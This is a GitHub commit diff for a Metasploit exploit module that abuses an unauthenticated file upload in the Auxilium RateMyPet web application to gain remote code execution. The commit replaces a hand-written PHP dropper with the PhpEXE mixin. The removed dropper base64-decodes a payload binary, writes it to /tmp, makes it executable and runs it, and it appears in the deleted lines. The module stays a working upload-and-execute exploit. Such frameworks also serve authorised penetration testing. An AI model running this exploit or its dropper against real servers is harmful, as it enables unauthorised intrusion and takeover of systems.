Skip to content

Commit 90ae5c1

Browse files
committed
Add PhpEXE support to RateMyPet module
1 parent db12413 commit 90ae5c1

File tree

1 file changed

+7
-55
lines changed

1 file changed

+7
-55
lines changed

modules/exploits/multi/http/auxilium_upload_exec.rb

Lines changed: 7 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = ExcellentRanking
1212

1313
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Exploit::EXE
14+
include Msf::Exploit::PhpEXE
1515

1616
def initialize(info={})
1717
super(update_info(info,
@@ -25,8 +25,8 @@ def initialize(info={})
2525
'License' => MSF_LICENSE,
2626
'Author' =>
2727
[
28-
'DaOne', #Vulnerability discovery
29-
'sinn3r' #Metasploit
28+
'DaOne', # Vulnerability discovery
29+
'sinn3r' # Metasploit
3030
],
3131
'References' =>
3232
[
@@ -37,15 +37,11 @@ def initialize(info={})
3737
{
3838
'BadChars' => "\x00"
3939
},
40-
'DefaultOptions' =>
41-
{
42-
'ExitFunction' => "none"
43-
},
4440
'Platform' => ['linux', 'php'],
4541
'Targets' =>
4642
[
47-
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
48-
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
43+
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
44+
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
4945
],
5046
'Privileged' => false,
5147
'DisclosureDate' => "Sep 14 2012",
@@ -71,41 +67,6 @@ def check
7167
end
7268

7369

74-
def get_write_exec_payload(fname, data)
75-
p = Rex::Text.encode_base64(generate_payload_exe)
76-
php = %Q|
77-
<?php
78-
$f = fopen("#{fname}", "wb");
79-
fwrite($f, base64_decode("#{p}"));
80-
fclose($f);
81-
exec("chmod 777 #{fname}");
82-
exec("#{fname}");
83-
?>
84-
|
85-
php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
86-
return php
87-
end
88-
89-
90-
def on_new_session(cli)
91-
if cli.type == "meterpreter"
92-
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
93-
end
94-
95-
@clean_files.each do |f|
96-
print_status("#{@peer} - Removing: #{f}")
97-
begin
98-
if cli.type == 'meterpreter'
99-
cli.fs.file.rm(f)
100-
else
101-
cli.shell_command_token("rm #{f}")
102-
end
103-
rescue ::Exception => e
104-
print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
105-
end
106-
end
107-
end
108-
10970

11071
def upload_exec(base, php_fname, p)
11172
data = Rex::MIME::Message.new
@@ -148,17 +109,8 @@ def exploit
148109
base = File.dirname("#{target_uri.path}.")
149110

150111
php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
151-
@clean_files = [php_fname]
152-
153-
case target['Platform']
154-
when 'php'
155-
p = "<?php #{payload.encoded} ?>"
156-
when 'linux'
157-
bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
158-
@clean_files << bin_name
159-
bin = generate_payload_exe
160-
p = get_write_exec_payload("/tmp/#{bin_name}", bin)
161-
end
112+
113+
p = get_write_exec_payload(:unlink_self=>true)
162114

163115
upload_exec(base, php_fname, p)
164116
end

0 commit comments

Comments
 (0)